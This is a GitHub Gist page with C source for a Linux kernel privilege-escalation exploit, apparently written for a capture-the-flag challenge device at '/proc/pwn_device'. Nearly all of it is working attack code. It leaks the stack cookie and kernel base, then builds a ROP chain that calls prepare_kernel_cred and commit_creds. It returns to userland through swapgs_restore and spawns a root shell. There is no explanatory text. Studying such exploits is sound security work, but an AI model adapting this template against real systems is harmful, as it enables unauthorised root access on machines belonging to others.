Created
November 16, 2021 07:37
-
-
Save X3eRo0/86a628c73652ef2a94864ce2bfbb3f25 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
#include <unistd.h> | |
#include <stdint.h> | |
#include <string.h> | |
#include <fcntl.h> | |
#include <signal.h> | |
#include <fcntl.h> | |
#include <sys/mman.h> | |
#include <sys/syscall.h> | |
#include <sys/types.h> | |
#include <sys/stat.h> | |
#include <sys/ioctl.h> | |
#if HAVE_STROPTS_H | |
#include <stropts.h> | |
#endif | |
#define PAGE_SIZE 0x001000 | |
#define POP_RAX 0x00dc1e /* pop rax ; ret */ | |
#define POP_RDI 0x001518 /* pop rdi ; ret */ | |
#define POP_RDX 0x034b72 /* pop rdx ; ret */ | |
#define MOV_RDI_RAX 0x3b3504 /* mov rdi, rax ; jne 0xffffffff813b34f1 ; xor eax, eax ; ret */ | |
#define CMP_RDX_8 0xa30061 /* cmp rdx, 8 ; jne 0xffffffff81a3003e ; ret */ | |
#define SWAPGS_RESTORE 0xc00a45 /* swapgs_restore_regs_and_return_to_usermode + 22 */ | |
#define PREPARE_KERNEL_CRED 0x0cc140 /* prepare_kernel_cred */ | |
#define COMMIT_CREDS 0x0cbdd0 /* commit_creds */ | |
#define KERN_BASE 0xffffffff81000000 | |
char exploit[0x1000]; /* exploit buffer */ | |
uint64_t counter = 0; /* counter */ | |
int fd = 0; /* file descriptor for pwn_device */ | |
unsigned long user_cs, user_ss, user_rflags, user_sp; | |
void save_state(){ | |
__asm__( | |
".intel_syntax noprefix;" | |
"mov user_cs, cs;" | |
"mov user_ss, ss;" | |
"mov user_sp, rsp;" | |
"pushf;" | |
"pop user_rflags;" | |
".att_syntax;" | |
); | |
puts("[*] Saved state"); | |
} | |
void get_shell(void){ | |
puts("[*] Returned to userland"); | |
if (getuid() == 0){ | |
printf("[*] UID: %d, got root!\n", getuid()); | |
system("/bin/sh"); | |
} else { | |
printf("[!] UID: %d, didn't get root\n", getuid()); | |
exit(-1); | |
} | |
} | |
void hexdump(const void* data, size_t size) { | |
char ascii[17]; | |
size_t i, j; | |
ascii[16] = '\0'; | |
for (i = 0; i < size; ++i) { | |
printf("%02X ", ((unsigned char*)data)[i]); | |
if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') { | |
ascii[i % 16] = ((unsigned char*)data)[i]; | |
} else { | |
ascii[i % 16] = '.'; | |
} | |
if ((i+1) % 8 == 0 || i+1 == size) { | |
printf(" "); | |
if ((i+1) % 16 == 0) { | |
printf("| %s \n", ascii); | |
} else if (i+1 == size) { | |
ascii[(i+1) % 16] = '\0'; | |
if ((i+1) % 16 <= 8) { | |
printf(" "); | |
} | |
for (j = (i+1) % 16; j < 16; ++j) { printf(" "); | |
} | |
printf("| %s \n", ascii); | |
} | |
} | |
} | |
} | |
void telescope(char * buffer, int size){ | |
size = size - (size % 8); | |
for (int i = 0; i < size; i+=8){ | |
printf("[0x%.3x] 0x%.16lx\n", i, *(uint64_t *)&buffer[i]); | |
} | |
} | |
int s08(char a, int len){ | |
for (int i = 0; i < len; i++){ | |
exploit[counter + i] = a; | |
} | |
counter += len; | |
return len; | |
} | |
int s64(uint64_t val){ | |
*(uint64_t *)(exploit + counter) = val; | |
counter += 8; | |
return counter; | |
} | |
void get_device(){ | |
fd = open("/proc/pwn_device", O_RDWR); | |
if (fd < 0){ | |
puts("[!] Failed to open device"); | |
} else { | |
puts("[*] Opened device"); | |
} | |
} | |
int do_ioctl(int cmd, int arg){ | |
return ioctl(fd, cmd, arg); | |
} | |
int do_write(char * buffer, int size){ | |
return write(fd, buffer, size); | |
} | |
int do_read(char * buffer, int size){ | |
return read(fd, buffer, size); | |
} | |
int main(){ | |
/* save state */ | |
save_state(); | |
/* pwn device fd */ | |
get_device(); | |
/* set MaxBuffer to 0x1000 */ | |
do_ioctl(32, 0x1000); | |
/* leak stack_cookie */ | |
memset(exploit, 0, 0x1000); | |
do_read(exploit, 0x400); | |
/* telescope(exploit, 0x400); */ | |
uint64_t stack_cookie = *(uint64_t *)&exploit[0x80]; | |
uint64_t kernel_base = *(uint64_t *)&exploit[0x90] - 0x23e347; | |
uint64_t commit_creds = kernel_base + 0x87e80; | |
uint64_t prepare_kernel_cred = kernel_base + 0x881c0; | |
printf("[+] Stack Cookie : 0x%.16lx\n", stack_cookie); | |
printf("[+] Kernel Base : 0x%.16lx\n", kernel_base); | |
int cookie_offset = 128/8; | |
int return_offset = 144/8; | |
memset(exploit, '\0', 0x1000); | |
/* ROP CHAIN */ | |
counter += cookie_offset * 8; | |
s64(stack_cookie); | |
counter += return_offset * 8 - counter; | |
s64(kernel_base + POP_RDI); | |
s64(0); | |
s64(prepare_kernel_cred); | |
s64(kernel_base + POP_RDX); | |
s64(0x8); | |
s64(kernel_base + CMP_RDX_8); | |
s64(kernel_base + MOV_RDI_RAX); | |
s64(commit_creds); | |
s64(kernel_base + SWAPGS_RESTORE); | |
s64(0); | |
s64(0); | |
s64((uint64_t)get_shell); | |
s64(user_cs); | |
s64(user_rflags); | |
s64(user_sp); | |
s64(user_ss); | |
/* TRIGGER BUG AND GET ROOT */ | |
do_write((char *)exploit, 0x800); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment